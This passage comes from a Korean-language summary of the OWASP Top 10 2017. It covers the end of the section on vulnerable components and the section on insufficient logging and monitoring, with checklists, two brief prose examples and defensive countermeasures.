- versions, DependencyCheck, retire.js 와 같은 도구를 사용하여 클라이언트 및 서버 측의 구성 요소와 해당 종속성의 버전을 지속적으로 관리한다. CVE 와 NVD로부터 구성요소 내 취약점을 지속적으로 모니터링한다. 소프트웨어 구성 분석 도구를 사용하여 프로세스를 자동화한다. 사용하는 구성요소와 관련된 보안 취약점에 대한 전자메일 알림을 구독한다.
- 안전한 링크를 통해 공식적인 출처로부터 구성 요소를 획득한다. 조작되거나, 악의적인 구성 요소가 포함될 가능성을 줄이기 위해 서명된 패키지를 사용한다.
- 유지 관리되지 않거나, 이전 버전의 보안 패치를 만들지 않는 라이브러리 및 구성 요소를 모니터링한다. 패치가 불가능한 경우, 발견된 문제를 모니터링, 탐지 혹은 보호하기 위해 가상 패치를 배포하는 것을 고려해야한다. 모든 조직은 애플리케이션 혹은 포트폴리오의 수명 주기 동안 업데이트 또는 구성 변경을 모니터링, 검토 및 적용하기 위한 지속적인 계획이 있는지를 확실히 해야 한다.
A10. 불충분한 로깅 및 모니터링(Insufficient Logging & Monitoring)
불충분한 로깅과 모니터링은 공격자들이 시스템을 더 많이 공격하고, 지속적으로 공격하는데 영향을 미친다. 이 문제를 해결하지 않는다면 더 많은 시스템을 중심으로 공격하거나 데이터를 변조, 탈취 혹은 삭제할 수 있다. 대부분의 사례에서 공격받은 것을 알아차리는데 200일이 넘게 걸리고, 이마저도 자체적으로 알아내는 것이 아니라 제 3자가 확인한다.
취약점 검토
- 불충분한 로깅, 탐지, 모니터링과 유효한 응답은 언제나 발생한다.
- 로그인, 로그인 실패, 그리고 높은 가치를 가진 트랜잭션들과 같은 감사해야 할 이벤트들이 기록되지 않는다.
- 경고 및 오류에 대해 로그 메시지가 없거나, 불충분하거나 불명확하다.
- 의심스러운 활동에 대해 애플리케이션과 API의 로그를 모니터링하지 않는다.
- 로그를 단지 로컬에만 저장한다.
- 적절한 경고 임계값과 응답 에스컬레이션 프로세스가 적절하지 않거나 효과적이지 않다.
- DAST 도구를 통한 침투 테스트 및 검사는 경고들을 추적하지 않는다.
- 어플리케이션이 실시간 혹은 거의 실시간으로 유효한 공격을 탐지, 에스컬레이션 또는 경고할 수 없다.
- 사용자나 공격자에게 로깅이나 경고 이벤트가 보여준다.
예제
#1 공격자는 공통 암호를 사용하는 사용자를 찾기 위해 스캔을 한다. 이 암호를 사용하여 모든 계정을 탈취할 수 있다. 다른 모든 사용자의 경우, 이 스캔은 단지 하나의 잘못된 로그인 기록만을 남긴다. 며칠 후 다른 비밀번호로 이 작업을 반복할 수 있다.
#2 미국의 한 주요 소매 업체는 첨부 파일을 분석하는 내부 악성코드 분석 샌드박스를 갖고 있었다. 샌드박스 소프트웨어는 의도치않은 소프트웨어를 탐지했지만, 아무도 이 탐지에 대응하지 않았다. 샌드박스는 외부 은행에 의한 사기성 카드 거래로 인해 그 보안사고가 탐지되기 전까지도 계속해서 경고를 표시했다.
보안대책
- 모든 로그인, 접근 통제 실패, 그리고 서버 측면의 입력값 검증 실패 등이 의심스럽거나 악의적인 계정을 식별할 수 있는 충분한 사용자 문맥으로 기록될 수 있는지 확실히 한다. 그리고 지연된 포렌식 분석을 허용할 수 있는 충분한 시간을 확보한다.
- 중앙 집중적 로그 관리 솔루션에 의해 쉽게 사용될 수 있는 형식으로 로그가 생성되는지 확실히 한다.
- 부가 가치가 높은 거래에는 단지 추가만 가능한 데이터베이스 테이블 혹은 유사한 것과 같은 변조나 삭제를 방지하기 위한 무결성 통제 기능을 갖춘 감사 추적 기능을 확실히 한다.
- 의심스러운 활동이 적시에 탐지되고 대응될 수 있도록 효과적인 모니터링 및 경고를 설정한다.
- NIST 800-61 rev 2 이상과 같은 사고 대응 및 복구 계획을 수립하거나 채택한다. OWASP AppSensor와 같은 상용 혹은 오픈소스 어플리케이션 보호 프레임워크, OWASP ModSecurity 핵심 룰셋을 가진 ModSecurity와 같은 웹 어프리케이션 방화벽, 그리고 개별 대쉬보드와 경고를 갖는 로그 상관분석 소프트웨어가 있다.
위험 평가 기준표에 따른 OWASP 2017 TOP 10
본 문서는 보통 3~4년 주기로 발표되기 때문에 올해 혹은 내년에 새롭게 발표될 예정이다. 새로운 웹 어플리케이션을 개발한다면 최소한 위와 같은 보안 이슈들을 면밀히 검토할 필요성이 있다. 만약 기존의 서비스를 관리하고 있다면 처음 개발할 때 안전하다고 생각했던 코드들과 구성요소들을 몇 번이고 다시 살펴봐야 한다. 넘쳐나는 여러 공격방법들을 모두 완벽하게 숙지하고 있지는 않더라도 최소한 이 정도로 큰 위협에 미리 대비하는 자세를 갖추자.
이상으로, OWASP 2017 TOP10 정리글을 마친다.
OWASP Top 10 - 2017